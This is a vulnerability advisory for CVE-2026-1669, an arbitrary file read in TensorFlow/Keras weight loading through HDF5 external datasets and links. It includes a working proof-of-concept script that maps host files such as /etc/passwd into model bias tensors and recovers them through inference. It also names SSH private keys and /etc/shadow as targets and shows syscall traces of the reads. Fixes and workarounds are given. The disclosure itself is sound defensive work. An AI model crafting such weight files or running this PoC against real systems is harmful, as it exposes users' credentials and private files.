CVE-2026-1669: Arbitrary File Read in Keras via HDF5 External Datasets

Summary

TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct loadweights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).

Impact

- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path) - What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts. - Prerequisites: Victim executes model.loadweights() or tf.keras.models.loadmodel() on an attacker-supplied HDF5 weights file or .keras archive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report. 2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/idrsa, /etc/shadow if readable, configuration files containing API keys, etc.). 3. Execution: The victim calls model.loadweights() (or tf.keras.models.loadmodel() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. 4. Exfiltration vectors: - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data. - Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

- The target file must exist and be readable by the process running TensorFlow/Keras. - Safe mode (loadmodel(..., safemode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

- OS: Debian-based container running Python 3.11. - Packages (installed via python -m pip install -U ...): - tensorflow==2.20.0 - keras==3.11.3 - h5py==3.15.1 - numpy==2.3.4 - Tooling: strace (for syscall tracing), pip upgraded to latest before installs. - Debug flags: PYTHONFAULTHANDLER=1, TFCPPMINLOGLEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

1. Ensure the environment above (or equivalent) is prepared. 2. Save the following script as weightsexternaldemo.py:

python from future import annotations import os from pathlib import Path import numpy as np import tensorflow as tf import h5py

def choosehostfile() -> Path: candidates = [ os.environ.get("KFLIPATH"), "/etc/machine-id", "/etc/hostname", "/proc/sys/kernel/hostname", "/etc/passwd", ] for candidate in candidates: if not candidate: continue path = Path(candidate) if path.exists() and path.isfile(): return path raise FileNotFoundError("set KFLIPATH to a readable file")

def buildmodel(units: int) -> tf.keras.Model: model = tf.keras.Sequential([ tf.keras.layers.Input(shape=(1,), name="input"), tf.keras.layers.Dense(units, activation=None, usebias=True, name="dense"), ]) model(tf.zeros((1, 1))) # build weights return model

def findbiasdataset(h5file: h5py.File) -> str: matches: list[str] = [] def visit(name: str, obj) -> None: if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"): matches.append(name) h5file.visititems(visit) if not matches: raise RuntimeError("bias dataset not found") return matches[0]

def rewritebiasexternal(path: Path, hostfile: Path) -> tuple[int, int]: with h5py.File(path, "r+") as h5file: biaspath = findbiasdataset(h5file) parent = h5file[str(Path(biaspath).parent)] dsetname = Path(biaspath).name del parent[dsetname] maxbytes = 128 size = hostfile.stat().stsize nbytes = min(size, maxbytes) nbytes = (nbytes // 4) 4 or 32 # multiple of 4 for float32 packing units = max(1, nbytes // 4) parent.createdataset( dsetname, shape=(units,), dtype="float32", external=[(hostfile.asposix(), 0, nbytes)], ) return units, nbytes

def floatstoascii(arr: np.ndarray) -> tuple[str, str]: raw = np.ascontiguousarray(arr).view(np.uint8) asciipreview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore") hexpreview = raw[:64].tobytes().hex() return asciipreview, hexpreview

def main() -> None: hostfile = choosehostfile() model = buildmodel(units=32)

weightspath = Path("weightsdemo.h5") model.saveweights(weightspath.asposix())

units, nbytes = rewritebiasexternal(weightspath, hostfile) print("secrettextsource", hostfile) print("units", units, "bytesmapped", nbytes)

model.loadweights(weightspath.asposix()) output = model.predict(tf.zeros((1, 1)), verbose=0)[0] asciipreview, hexpreview = floatstoascii(output) print("recoveredascii", asciipreview) print("recoveredhex64", hexpreview)

saved = Path("weightsdemoresaved.h5") model.saveweights(saved.asposix()) print("resavedweights", saved.asposix())

if name == "main": main()

3. Execute python weightsexternaldemo.py. 4. Observe: - secrettextsource prints the chosen host file path. - recoveredascii/recoveredhex64 display the file contents recovered via model inference. - A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

The following test harness generalises the attack for multiple HDF5 constructs:

- Build a minimal feed-forward model and baseline weights. - Create three malicious variants: 1. External storage dataset: dataset references /etc/hosts. 2. External link: ExternalLink pointing at /etc/passwd. 3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname. - Run each scenario under strace -f -e trace=open,openat,read while calling model.loadweights(...). - Post-process traces and weight tensors to show the exact bytes loaded.

Relevant syscall excerpts captured during the run:

openat(ATFDCWD, "/etc/hosts", ORDONLY|OCLOEXEC) = 7 read(7, "127.0.0.1 localhost\n", 64) = 21 ... openat(ATFDCWD, "/etc/passwd", ORDONLY|OCLOEXEC) = 9 read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32 ... openat(ATFDCWD, "/etc/hostname", ORDONLY|OCLOEXEC) = 8 read(8, "example-host\n", 64) = 13

The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.

Recommended Product Fix

1. Default-deny external datasets/links: - Inspect creation property lists (getexternalcount) before materialising tensors. - Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file. 2. Provide an escape hatch: - Offer an explicit allowexternaldata=True flag or environment variable for advanced users who truly rely on HDF5 external storage. 3. Documentation: - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default. 4. Regression coverage: - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.

Workarounds

- Avoid loading untrusted HDF5 weight files. - Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure. - 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safekerashdf5.py prototype guard.